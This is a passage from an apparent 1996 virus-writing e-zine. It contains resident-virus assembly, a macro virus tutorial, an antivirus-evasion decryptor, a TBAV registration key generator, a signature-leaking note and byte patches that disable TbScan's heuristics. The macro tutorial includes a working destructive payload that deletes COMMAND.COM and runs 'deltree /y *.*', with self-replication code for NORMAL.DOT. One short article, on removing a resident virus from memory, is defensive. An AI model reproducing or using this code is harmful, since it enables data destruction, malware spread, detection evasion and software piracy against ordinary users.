jmp next_subMCB ; and again!

last_subMCB:

lea ax,[bp+di]
sub ax,es:[si-0fh]
mov es:[si-0dh],ax

no_subMCB:
pop ds
mov ax,ds ; First MCB segment
sub bp,ax
xchg bp,ax
add ax,memory_size - 1

move_virus:
mov virus_segment,ds
push cs
pop ds
assume ds:code 2
mov virusMCB_size,ax
mov es,dx
mov al,(offset allready_moved-offset virus_moved_from_fixed_segment)
mov byte ptr virus_moved_from_fixed_segment,al
mov cx,offset memory_top
xor si,si
xor di,di
cld
rep movsb

Neuroquila has many more to give, but for now... i put this, just in case
someone doesn't have the Neuroquila source code, published in VLAD#5 (it
is high time!) }:D

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
already_moved:
push ds
; push word ptr 0c801h
db 68h
virus_segment dw 0c801h
pop ds
; mov word ptr [3],014eh
db 0c7h,06h
dw 3
virusMCB_size dw 014eh
pop ds
;*****************************************

DOS2_not_loaded_yet:
pop es
pop ds
assume ds:nothing
do_not_move:
mov byte ptr virus_moved_from_fixed_segment,al
popa
@@65:
retf
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

That's all folks, hope my huge fingers and poor view, help me to write
some virus that would stay resident in upper memory... :)

IntrusO ;)
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ VBA VIRUSES AND TROJANS @
@ by @
@ Leugim San/29A @
@ & @
@ MaD MoTHeR @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
(@) MaD MoTHeR TeaM - 1996

A macro is a program written in a certain language which is used usually


for automatizing some processes inside an application. In this case, we
will talk about Visual Basic for Applications (VBA) and WordBasic (WB),
which are the languages used by Microsoft and all their programs; thus,
Excel, Project and PowerPoint use VBA, and WinWord uses WB.

From now we will speak about VBA as a general language, because it's the
attempt to unify a macro language, common for all the Microsoft programs.
Anyway, WordBasic has still some characteristics which make that, someti-
mes, we reffer specifically to it.

There are some differences between the syntax of these two languages, but
the coding structure is the same, so, if we don't make any specification,
we'll speak about VBA, as the common Microsoft macro language.

The VBA macros are called procedures; there are two kinds of procedures:

- Sub procedures
- Function procedures

The sub procedures may be executed directly or being called from other
macro. The syntax for these procedures is the following:

Sub <macro_name>
-> write here the macro code <-
' the comments are preceded by an apostrophe
End Sub

Example:

Sub Stupid_Greeting
' This macro opens a dialog box and displays a message
MsgBox "Hello World!"
End Sub

The function procedures (aka functions) return a value, which may be pa-
ssed as a parameter for other VBA procedure. This is its syntax:

Function <function_name>(arguments)
-> Instructions <-
' Commentaries
End Function

Example:

Function AddAB(a,b)
' This adds the parameters a and b and returns the result
' in "AddAB"
AddAB = a+b
End Function
Of course, you can insert in a document as many macros as you need or
want, there's no limit. Now that you've understood what a joint of macros
is, we'll call it VBA module. This means that a VBA module is a joint of
macros (sub and function procedures) which make up an Office document.

The VBA language also works with objects; we can make references to other
documents, graphics... inside the VBA modules. Objects have properties.
For instance, the background color of an object is a property (aka attri-
bute). Objects also have 'methods', which are the operations we can make
with them (with the objects).

VBA allows us to work with variables, and, as a structured programming


language, it has the typical constructions of other languages:

þ 'For-next' bucles:

Sub Counter
Infect_Num=0
For Count=1 to 10
Infect_Num=Infect_Num+Count
Next Count
MsgBox "I reached the maximum infection number"
End Sub

þ 'If-then' conditions:

Sub Infect_Check
If Infect_Num=0 Then MsgBox "File not infected"
End Sub

þ 'With-end with' constructions (used for working with several pro-


perties of a certain object):

Sub ChangeProperties
With Selection
.Font.Bold=True
.Font.ColorIndex=3 ' Red color
End With
End Sub

þ 'Select case-end select' constructions:

Sub Check_Infection
Select Case Infect_Num
Case 0
MsgBox "File not infected"
Case is > 0
MsgBox "File infected"
Case is < 0
Infect_Num=0
End Case
End Sub

A very useful tool for working with the VBA language is the debuggin win-
dow. With it we can trace code, make corrections, and so on... one debug-
ging technique consists on using flags for halting for a moment the code
execution with a MsgBox after each instruction, so we can analyze the
contents of certain variables and/or instructions (albeit the VBA debug-
ger is able to set break points for halting the code execution, too).

Something very important, apart of this, are the arguments of a function


procedure; as we've just seen, the structure of a VBA procedure is this:

Function <name>(arguments)
[...]
End Function

These arguments may be constants, variables, or expressions. Anway, there


are procedures which don't need any arguments:

Function Get_Name()
Name=Application.UserName
End Function

There are function procedures which always have a fixed argument number
(up to 60). Other functions have some fixed arguments and other optional.

Ok, and once the basics of VBA are clear for everybody, we can start
learning something about the thing we're about to study: VBA viruses and
trojans :-)

The VBA language is very versatile, and this is basically due to two rea-
sons: the first of them is its big facility of learning and use; as it's
a high level language orientated to events (not to objects :) it's very
easy to create complex modules without spending many time on it. The se-
cond reason is the extra large number of predefined functions it has,
which make things much easier for us. We could even say a third reason,
but it's really included in the previous one... and it's that we can use
functions (or macros) of *automatic_execution*, so we can simulate some
thingies which make eeeeven easier to write routines as autocopying, me-
mory residency, etc), used by the 'normal' DOS viruses.

Besides this, VBA has, as an exclusive feature, the PORTABILITY property,


advantage, or however you wanna call it. VBA worxor under Windows 3.x,
Windows95, WindowsNT, Macintosh, etc. this is: in every enviroment or OS
in which we can run any version of the applications which support VBA.

But don't expect so many facilities... :-)

VBA is a language which adapts to the language of the application under


it's running. This means that, if we have the spanish version of WinWord,
the names of the predefined functions will be in spanish, so the two next
macros will NOT be the same (the first one is written in spanish, and the
second one, in english):

þ First macro (spanish):

Sub Demo_Macro
Con Selecci¢n.Fuente
.Nombre="Arial"
Fin Con
End Sub
þ Second macro (english):

Sub Demo_Macro
With Selection.Font
.Name="Arial"
End With
End Sub

This last macro would NOT work under our spanish version of WinWord... it
would force a macro execution error, so it wouldn't do anything. And re-
member that VBA is an interpreted language (not compiled) so every execu-
tion error appears 'on the fly'.

But... doesn't this have any solution? ... ... ... ... }:-) ... Sure! ;-)
There are some functions, common to all the VBA versions, without depen-
ding on the language. For instance... the automatic macro AutoExec (which
is executed when loading WinWord if it's stored in a template called NOR-
MAL.DOT) would work under every VBA version.

Maybe one of the first exercises we should do would be trying to write a


multiplatform and multilanguage virus... but maybe it already exists...
}:-) hehe... but let's go on with the tutorial.

The next step, once we've analyzed the language syntax, we have to study
the functions we need to use in our viruses. As this ain't a text about
programming in general but a macro virus tutorial, we'll focus our atten-
tion to the automatic macros used by WinWord, implemented in WordBasic
(but note: NOT in VBA).

There are five special macros which execute automatically and which we'll
have to care about:

þ AutoExec: it's a macro which activates when loading the text processor,
but only when it's stored in the template NORMAL.DOT or in the default
application directory
þ AutoNew: it activates when creating a new document
þ AutoOpen: it activates when opening an existing document
þ AutoClose: it activates when closing a document
þ AutoExit: it activates when exiting the text processor

For proving the potence and the versatility of these macros, we can have
a look at the following code (by now we won't care about the language):

' Save this macro as AutoExit


Sub Main
If Application.Username <> "MaD_MoTHeR" Then
' We check the registration name of the application
SetAttr "C:\COMMAND.COM",0
' Wipe the attributes of COMMAND.COM
Open "C:\COMMAND.COM" for Output as #1
' We open it for checking if it activates any error flag
Close #1
' It exists, ok... let's close it...
Kill "C:\COMMAND.COM"
' ... and kill it }:-)
End If
If Month(Now())=2 Then
' System date -> month=february (2)?
If Day(Now())=29 Then
' february 29th? (only one time each four years) :-)
Shell "deltree /y *.* > null"
' Btw... /y works for all the languages :-)
End If
End If
End Sub

The macro above will check two things on exiting from WinWord: if the re-
gistration name is equal to MaD_MoTHeR, it will delete COMMAND.COM; and
if the system date is equal to february 29th (only for leap years) :-) it
will do a deltree /y *.* > null, and i guess you all know what does this
DOS command do, right? };-)

Ok, now you're supposed to have a big enough knowledge to face the next
and last chapter of this tutorial: replication. It's the most important
thing for writing viruses, don't you think? :-)

The unique thing we must know is how can we adapt an automatic macro
(this is the simplest example) in order to install it in the template
which is opened by default by WinWord. This is done by following the next
steps... first, define a variable which stores the complete macro name:

name$ = WindowName$() + ":AutoNew" ' This macro will be executed


' every time a new document is
' created

And then, all our work is to write it into the template NORMAL.DOT with
this simple instruction:

MacroCopy name$, "Global:AutoNew"

Quite easy, isn't it? :-) Anyway, this is the general way in which macro
viruses work, but there are lots of cooler ways to infect... all it takes
is a little bit of imagination and additional code. One of these things
which make your viruses cooler and difficult their analysis is the macro
encryption... and it's easier than the replication!!! :-)

MacroCopy "MyTemplate:MyMacro", "Global:AutoClose", 1

If you execute the MacroCopy function passing 1 (or any other number un-
less 0) as parameter, the result of the copy will be an only executable
macro, so we won't be able to edit it! :-)

And this is all you need for becoming a macro virus writer... practice,
research, and try to write something really original. Btw, there's a vi-
rus sample i wrote included in '29A virii'. It's a supertiny and super-
simple macro infector which contains a little payload :-) Don't forget to
have a look at it!

(@) MaD MoTHeR TeaM - 1996


Deactivations
*************************************************************************>
Blade Runner

The deactivation of a virus in memory is a standard process, and very ea-


sy in deed. Anyway, i'm conscious that many of you aren't that intelli-
igent, so i'll explain it clearly *step_by_step*; this is, those of you
who have a bit more knowledge may just give it a look, or skip the whole
article.

Mmmh... let's see... first thing is the virus to be resident... :) Let's


introduce this briefly :)

A virus, in order to stay resident, has to change interrupt vectors so


these point to it. In other words, a virus that hangs off int 21h, will
change ES and BX when calling int 21h func 35h, or otherwise it will do
this directly on 0000:(int#*4).

Knowing the virus keeps the old vector addresses in its code, it is ob-
vious that we'll have to look where it keeps them and replace them on the
interrupt vector table.

Once we know the theory, let's see it practically. Above all, we'll have
to find a tool for our job. I personally use debug (as you can see, i use
it for everything) :) but you'll prefer AVPUtil or some other new color-
ful user friendly debugger. I even sometimes use a little program written
by myself which is very useful for these kinda situations.

Well, then we start. First step is to know the memory status, by means of
int 21h function 35h (get interruption vector). Here it is, done with de-
bug:

C:\29A>debug
-a100
1649:0100 mov ax,3521
1649:0103 int 21
1649:0105
-p

AX=3521BX=0000CX=0000DX=0000SP=FFEEBP=0000SI=0000DI=0000
DS=1560ES=0000SS=1560CS=1560IP=0103 NV UP EI PL NZ NA PO NC
1560:0103 CD21 INT 21
-p

AX=3521BX=410DCX=0000DX=0000SP=FFEEBP=0000SI=0000DI=0000
DS=1560ES=0011SS=1560CS=1560IP=0105 NV UP EI PL NZ NA PO NC
1560:0105 8BFF MOV DI,DI
-q

Then we look the values into ES and BX, which are segment and the offset
of the interrupt vector. These are, in this case, 0011:410d. Ok, note it
down or remember it and keep going :-)

Now we have to pick a virus for our experiment. We'll use any of the Ba-
rrotes family, the typical lame viruses mutated with PCTewls ;-) For ins-
tance, Barrotes.1310.d... let's have a look at its payload and at what
does Mr.Kaspersky tell us about it:

Virus MIKELON por MSoft°±² °±² °±² °±² °±²373k] °±²


ÉÍ[þ°±²ÍÍÍÍÍÍÍ°±²ÍÍÍÍÍÍ°±²ÍÍÍÍÍÍ°±²Topic °±²ÍÍÍÍÍÍ°±²ÍÍÍÍÍÍ°±²ÍÍÍÍÍÍ°±²
º B°±²otes fa°±²y °±² °±² °±² °±² °±² °±²
º Í°±²ÍÍÍÍÍÍÍ°±²Í °±² °±² °±² °±² °±² °±²
º Th°±² are da°±²rous m°±²y resi°±² paras°±² virus°±²On exe°±²on the°±²
º in°±²t C:\CO°±²ND.COM°±²e Then°±²ey hoo°±²T 21h °±²infect°±² COM- °±²
º EX°±²iles ar°±²xecute°±²hey co°±²n the °±²rnal t°±²string°±² °±²
º "c°±²ommand.°±²". On °±²ary, 5°±²hey er°±²MBR se°±², hook°±² 1Ch, °±²
º di°±²ay the °±²sage "°±²s BARR°±² por O°±²" and °±²ral ve°±²al lin°±²
º °±² °±² °±² °±² °±² °±² °±² °±²
º "B°±²otes.84°±²hits C°±²iles o°±² °±² °±² °±² °±²
º °±² °±² °±² °±² °±² °±² °±² °±²
º "B°±²otes.13°±²d" doe°±²t corr°±²MBR. O°±²stalla°±² it us°±²386 °±²
º in°±²uction.°±² displ°±²the me°±²e: "Vi°±²MIKELO°±²r MSof°±² °±²
º °±² °±² °±² °±² °±² °±² °±² °±²
º °±² °±² °±² °±² °±² °±² °±² °±²
º B°±²otes.Te°±².1303 °±² °±² °±² °±² °±² °±²
º *°±²*******°±²***** °±² °±² °±² °±² °±² °±²
º It°±²not dan°±²ous me°±² resid°±²encryp°±²parasi°±²virus.°±²hooks °±²
º 21°±²nd writ°±²itself°±²the en°±² COM- °±²EXE-fi°±²are ex°±²ed. On°±²
º in°±²llation°±²ts C:C°±²ND.COM°±²e. On °±²ember,°±²h it h°±² INT 1°±²
º al°±²and cha°±²s the °±²codes °±²eys ar°±²tered.°±²s viru°±²ntains°±²
ÈÍ<þ°±²±±±±±±±°±²±±±±±±°±²±±±±±±°±²±±±±±±°±²±±±±±±°±²±±±±±±°±²±±±±±±°±²

Test mode: Analyzer Warnings CRC

ßßßßßßßßßßßßßßßßßßß C:\29A (Programs) ßßßßßßßßßßßßßßßßßßßß


C:\29A
bar1310d.com : virus Barrotes.1310.d detected.

Once we've seen the virus, we may start our work. For make it easier, we
will use that little program i told you i sometimes use (CrackVir), writ-
ten by myself... it's a program which intercepts int 21h function 4bh on-
ce a virus is memory resident; this is, the virus won't be able to infect
though it will be completely operational. This is quite easy to do... my
program saves the original int 21h vector values, and, after running the
virus, it intercepts function 4bh, so the virus, if it uses 4b00h for in-
fecting, won't be able to hit any file.

What we're left with now is easy. We run AVPUtil, or even debug, and look
into the contents of int 21h, which is occupied by the virus. This time
we're left with 9f9c:017b (segment will vary). Then we'll have to dump
from the beginning (9f9c:0000), and search 0011:410d, which was the ori-
ginal int 21h value (hex: 0D 41 11 00). With debug, we'll have to look
ourselves for it, whilst with AVPUtil we can leave him look for it:

Memory Dump: F2-save F3-text mode F4-HEX/ASCII F5-edit F7-find


ÉÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
º9F9C:0103³[0D*41*11*00]55 01 18 D6 D0 0E D4 00 00 00 80 00 ³
º9F9C:0113³ D0 0E 5C 00 D0 0E 6C 00 D0 0E 94 B4 06 00 4D 5A ³
º9F9C:0123³ D4 01 0C 00 06 00 20 00 75 02 FF FF A8 00 54 0B ³
º9F9C:0133³ 89 19 58 08 A8 00 1E 00 00 00 06 00 00 00 50 31 ³
º9F9C:0143³ 2E 03 00 01 00 41 43 41 44 2E 45 58 45 10 00 00 ³
º9F9C:0153³ 02 43 4F 4D 4D 41 4E 44 2E 43 4F 4D 2E 43 4F 4D ³
º9F9C:0163³ 2E 45 58 45 43 6F 70 79 72 69 67 68 74 20 28 43 ³
º9F9C:0173³ 29 20 31 39 38 38 2C 20 31 39 38 39 20 62 79 20 ³
º9F9C:0183³ 41 42 54 20 47 72 6F 75 70 2E 20 E3 08 00 00 EB ³

The search result is up there: int 21h is kept in 9f9c:0103 (103 the off-
set, 105, the segment). Now we have enough information so as to create a
generic memory remover for this virus, which is rather easy to code.
Blade Runner/29A
Los Angeles, 2019
Antiheuristics
*************************************************************************>
AVV

We're used to the newest antivirus promising a total protection against


unknown viruses, with what they call heuristics. And though being an im-
portant weapon against viruses, it isn't that safe they assure. We won't
explain what heuristics are (it is just looking for several instructions
common to all viruses, which will show their presence). Nevertheless, if
we hide these instructions, the antivirus won't detect anything and will
happily say there's no danger, when checking a modified version of Neuro-
quila, Tremor, Zhengxi, etc., which will be encrypted for these AVs.

Technique is easy. We just have to use a simple encryption routine with


which the antivirus will note nothing. AVP, F-Prot and ThunderByte recog-
nize several encryption routines. Now, the following routine decrypts a
previously encrypted code:

lea di,enc_start ; ds:di -> first encrypted byte


mov cx,enc_size ; cx has code's length
loop1: mov al,byte ptr es:[di]
xor al,0cfh ; we'll simply xor each byte
stosb ; and store it back
loop loop1

This routine is easy to get caught by an antivirus, and will discover the
hidden virus. But let's change slightly the routine:

lea di,enc_start
mov si,di
mov cx,enc_size
mov dh,0cfh
loop1: xor byte ptr es:[di],dh
movsb
loop loop1

This routine does exactly the same, but isn't caught by the heuristic
scan of any antivirus, so no crappy AV will decrypt anything, and our vi-
rus won't be detected... :) If the programmer is careful of not using any
garbage code, all the AVs will fail to detect any virus, no matter how
famous it is... even Jerusalem! :) This demonstrates that heuristics are
not as safe as they appear to be.

Greets,
AVV.
TBAV: keys
*************************************************************************>
Plof

TBAV itself is bullshit, but who wouldn't like to read his/her name on it
as if we'd paid for it? :) Moreover, having it registered, we can access
the exceptional virus information it offers to us }:)

This generator works with TBAV 7.04, and I'm sure it also works with pre-
vious (and future) versions, since Frans Veldman hasn't changed the en-
cryption schemes since TBAV 6.52 :) You can find the compiled executable
file in \FILES.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
cseg segment para public 'codigo'
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
org 100h

begin:

init proc near

; Prompt for the name to be registered to


mov dx,offset pregunta
mov ah,09h
int 21h

; Name must be written by means of DOS


mov ax,0A00h
mov dx,offset registrador
int 21h
xor ch,ch
mov bx,dx
mov cl,[bx+1]
cmp cl,02h
ja principio

mov dx,offset nombrecorto


mov al,01h ; Errorlevel=1 if short name
jmp finalconmensaje

principio:

; Pop the name into what will be TBAV.KEY


; In CL we maintain no. of characters

mov si,offset registrador+2


mov di,offset nombre

moviendonombre:

lodsb
stosb
loop moviendonombre

; Modify byte 11bh

xor ax,ax
mov si,offset nombre
call sumarnombre
push ax ; Check first name
mov bh,06fh
add bh,ah
mov si,offset nombre
xor bh,[si]
mov si,offset fichero+011bh
mov byte ptr [si],bh

; Modify byte 11ch

pop ax
push ax
mov bh,0f5h
add bh,ah
ror bh,01h
mov si,offset fichero+011ch
mov byte ptr [si],bh

; Modify byte 118h

pop ax
push ax
mov bh,02bh
add bh,ah
mov si,offset fichero+0118h
mov byte ptr [si],bh

; Modify byte 119h

pop ax ; Pop name check


push ax
mov bh,0bah
add bh,ah
mov si,offset fichero+0119h
mov byte ptr [si],bh

; Modify byte 11ah

pop ax
push ax ; In case something's after it
mov bh,0f4h
add bh,ah
xor bh,03dh
mov si,offset fichero+011ah
mov byte ptr [si],bh

; Zero the registers

pop ax ; Pop AX so there are no problems


xor ax,ax
mov bx,ax
mov dx,ax

sumachequeo:

mov cx,01feh
mov si,offset fichero

chequeo:

lodsb
xor ax,0413fh
add bx,ax
loop chequeo
mov word ptr [si],bx
encriptado:

mov si,offset codigo


mov di,si
mov cx,0080h

encrp:
lodsw
xchg ah,al
xor ax,cx
add ax,081f3h
stosw
loop encrp

; Write the file

; Create and open the file

mov dx,offset nombredefichero


mov ah,3ch
int 21h
jnz fichero_bien_iniciado

; If couldn't be created

mov al,02h ; Errorlevel=2 if file couldn't be created


; tbav.key file
mov dx,offset nocreado
jmp finalconmensaje

fichero_bien_iniciado:

push ax ; Handle

; write 512d bytes

mov ah,40h
pop bx
mov dx,offset fichero
mov cx,200h
int 21h

; Close file (BX still has the handle)

mov ah,3eh
int 21h

fin:

mov al,00h ; Right, errorlevel=0


mov dx,offset finalnormal

finalconmensaje:

mov ah,09h
int 21h
mov ah,4ch
int 21h ; AL must have the errorlevel

; Subroutines

sumarnombre:
lodsb
test al,al
jz acabosenombre
xor al,0a5h
ror ah,1
add ah,al
call sumarnombre

acabosenombre:
ret

; Non executable portion

fichero db 'Created by TBAVReg by Plof (/\/\adrid, 2-feb-96)'


db 'Move your fucking ass, Franzzz',0dh,0ah
db 'This key works on TBAV '
db 'v7.04 and doesn''t expire until 2099. Look after me! ;-)',0dh,0ah
nombre db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h ;THE REGISTRATION 0a0
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h ;NAME IS PLACED 0b0
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h ;HERE (THERE'S 0c0
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h ;ROOM UNTIL LINE 0d0
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h ;0E0... HERE! :-) 0e0
db 000h, 01ah, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h ;................ 0f0
codigo db 0a0h, 000h, 041h, 001h, 0afh, 092h, 04ch, 001h, 08ch, 001h
db 0cch, 001h, 0b6h, 018h, 083h, 083h ;..A...L......... 100
db 006h, 001h, 0c9h, 007h, 034h, 020h, 0ffh, 0ffh, 01eh, 0adh
db 0dah, 036h, 074h, 0abh, 0d4h, 0d3h ;....4......6t... 110
db 0b7h, 0c0h, 0bbh, 054h, 058h, 072h, 02ah, 065h, 0e1h, 052h
db 025h, 0c9h, 08bh, 054h, 02bh, 02ch ;...TXr*e.R%..T+, 120
db 048h, 03fh, 044h, 0abh, 0a7h, 08dh, 0d5h, 09ah, 0ffh, 0ffh
db 000h, 000h, 02fh, 00ah, 001h, 003h ;H?D........./... 130
db 020h, 048h, 048h, 0cbh, 0f1h, 03ch, 091h, 043h, 056h, 046h
db 02eh, 085h, 0a5h, 0a5h, 0a5h, 0a5h ;.HH..<.CVF...... 140
db 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h
db 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h ;................ 150
db 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h
db 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h ;................ 160
db 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h
db 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h ;................ 170
db 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h, 0a5h
db 0a5h, 0a5h, 053h, 065h, 063h, 075h ;............Secu 180
db 072h, 069h, 074h, 079h, 020h, 076h, 069h, 06fh, 06ch, 061h
db 074h, 069h, 06fh, 06eh, 03ah, 020h ;rity.violation:. 190
db 053h, 069h, 06eh, 067h, 06ch, 065h, 020h, 075h, 073h, 065h
db 072h, 020h, 06bh, 065h, 079h, 020h ;Single.user.key. 1a0
db 06eh, 06fh, 074h, 020h, 076h, 061h, 06ch, 069h, 064h, 020h
db 06fh, 06eh, 020h, 074h, 068h, 069h ;not.valid.on.thi 1b0
db 073h, 020h, 06dh, 061h, 063h, 068h, 069h, 06eh, 065h, 021h
db 007h, 000h, 045h, 076h, 061h, 06ch ;s.machine!..Eval 1c0
db 075h, 061h, 074h, 069h, 06fh, 06eh, 007h, 020h, 06bh, 065h
db 079h, 007h, 020h, 064h, 061h, 074h ;uation..key..dat 1d0
db 065h, 007h, 020h, 06ch, 069h, 06dh, 069h, 074h, 007h, 020h
db 065h, 078h, 070h, 069h, 072h, 065h ;e..limit..expire 1e0
db 064h, 021h, 007h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h ;d!............ 1f0
suma dw ?
nombredefichero db 'tbav.key',00h

registrador db 4eh
db 50h dup (?)
nombrecorto db 13,10,10,'Name is too short'
db 13,10,10,10,'$'

nocreado db 13,10,10,'File couldn''t be created',13,10,10,10,'$'

finalnormal db 13,10,10,'Now copy TBAV.KEY into your TBAV '


db 'directory and enjoy ;)',13,10,10,'$'

pregunta db 13,10,'TBAVReg 0.9á Register key generator '


db 'for the DOS version of TBAV',13,10,10
db 'Written by Plof (9-feb-96, /\/\adrid)',13,10,10
db 'Write the name you''d like to register TBAV to: '
db 13,10,'>$'

init endp
cseg ends
end begin
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Greetz,
Plof
TBAV: signatures
*************************************************************************>
Tcp

Using the signature leaker from Virogen (Chiba City Times #2) i've done a
little change for version 7.04 of TBAV. Changes are more than i expected
firstly cause TBSCAN.SIG uses a different encryption in each version, i
knew that... but i also had to modify a limitation of the program because
that TbSig wasn't able to manipulate files over f000h bytes (in TBAV 6.50
it was already bigger than that, so the file extractor hanged).

My program is included right in this issue under \FILES. To use it, just
copy it into your TBAV directory and run 'xsig > file.ext'. The program
will dump in this file all the signatures, but before looking anything in
that file, you should know the meaning of the wildcards TBAV uses in its
search strings; they appear in between the sigs with the format _38??_:

Description Signature
*******************************************************************
Jump over n bytes and continue 388n
Jump over nn bytes and continue, but nn < 7fh 388nn (1)
Jump till n bytes 384n
Jump till nn bytes and continue, but nn < 1fh 38nn (1)
The value ranges from n0 to n7 382n
The value ranges from n8h to nfh 383n
CRC from 38cn to 38c0 and compare it to the following 2 38cn (2)

(1) The highest bit is set. If nn is greater than the number above indi-
cated, then the bit will not be set.

(2) This meaning is not in CCT#2, though it may be due to the fact that
these wildcards weren't used then; since 6.50 it is present in all
the strings. If the wildcard is above 38c0, TBAV calculates a sort of
CRC sum ranging 38c?-38c0 bytes (for instance, 38d7 will mean it gets
17h bytes), and compares it to the next word in the string. Eg:

String : 00 01 02 03 _38C3_ 33 44
In file: 00 01 02 03 04 05 06 07

In this example, TBAV would compare the 4 first bytes, which would
pass; then it'd find _38c3_, which tells it to CRC sum the three next
bytes: 04, 05, and 06. If the CRC is 4433 it will say so :)

Btw, if someone is interested in knowing how to calculate this CRC,


look for me in #virus on IRC and ask :)

Another thing ûirogen didn't notice is that, as 38h represents the wild-
card, if we want to represent the 38h itself, we must use _3880_ ;)

Nothing more then; if you want to take a look at the program or read some
more about it, look in Chiba City Times #2.

Waiting for IP...


TBAV: antidetection
*************************************************************************>
Blade Runner

Well, well, well... in this article, i'll show you all how to fuck TbScan
TBAV 7.00; you'll see how 'difficult' it is ;-) There are some points
that make it more vulnerable than previous versions, though it's true
that i spent more time on this one. Anyway, it wasn't more than five mi-
nutes ;-D Let's see... get you all the GameTools. Those of you without
them can use some other debugger which can capture interruptions on the
fly. Let's start...

C:\29A>tbscan c:\virus.com

When TbScan starts checking, we stop it when reading the master boot and
capture int 21h function 48h. As soon as it triggers, trace all the code
till the first ret. Then we're interested in the following addresses:

15E8:3593: here starts the routine to fuck


[...]
15E8:359B F607FF TEST Byte Ptr [BX],FF
15E8:359E 7415 JZ 35B5
^^ ^^
75 JNZ

Well, we make this little change and continue... we'll cancel the first
half of it heuristic checking.

15E8:35B8 81FB4A5A CMP BX,5A4A


15E8:35BC 72DD JB 359B
^^ ^^
77 JA

All right, we've killed its heuristics (second half). Keep on going...

15E8:1065 803EA4FF06 CMP Byte Ptr [FFA4],06


15E8:106A 7206 JB 1072
^^ ^^
77 JA

Again... we break the check changing the condition to the opposite one.
Let's continue...

15E8:108D F7065084FFFF TEST Word Ptr [8450],FFFF


15E8:1093 7408 JZ 109D
^^ ^^
75 JNZ

We're done with this last one. TbScan WILL NOT DETECT any damn virus; no
matter if we have 8000 in our HD, it doesn't mind. If you will deep into
this, here you have some windows with a bit more code, so you may get in
place:

ÉÍÍÍ INTERNAL DEBUGGER ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»


º º
º 15E8:3593 BF84FF MOV DI,FF84 º
º 15E8:3596 BB3458 MOV BX,5834 º
º 15E8:3599 33C0 XOR AX,AX º
º 15E8:359B F607FF TEST Byte Ptr [BX],FF º
>>15E8:359E 7415 JZ 35B5 -> JNZ 35B5 <<
º 15E8:35A0 8A4701 MOV AL,[BX+01] º
º 15E8:35A3 0006A4FF ADD [FFA4],AL º
º 15E8:35A7 8A4702 MOV AL,[BX+02] º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

ÉÍÍÍ INTERNAL DEBUGGER ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»


º º
º 15E8:35AE 3AC4 CMP AL,AH º
º 15E8:35B0 7403 JZ 35B5 º
º 15E8:35B2 8AE0 MOV AH,AL º
º 15E8:35B4 AA STOSB º
º 15E8:35B5 83C306 ADD BX,+06 º
º 15E8:35B8 81FB4A5A CMP BX,5A4A º
>>15E8:35BC 72DD JB 359B -> JA 359B <<
º 15E8:35BE C3 RET º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

ÉÍÍÍ INTERNAL DEBUGGER ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»


º º
º 15E8:105B C606A4FF00 MOV Byte Ptr [FFA4],00 º
º 15E8:1060 33C0 XOR AX,AX º
º 15E8:1062 AA STOSB º
º 15E8:1063 B007 MOV AL,07 º
º 15E8:1065 803EA4FF06 CMP Byte Ptr [FFA4],06 º
>>15E8:106A 7206 JB 1072 -> JA 1072 <<
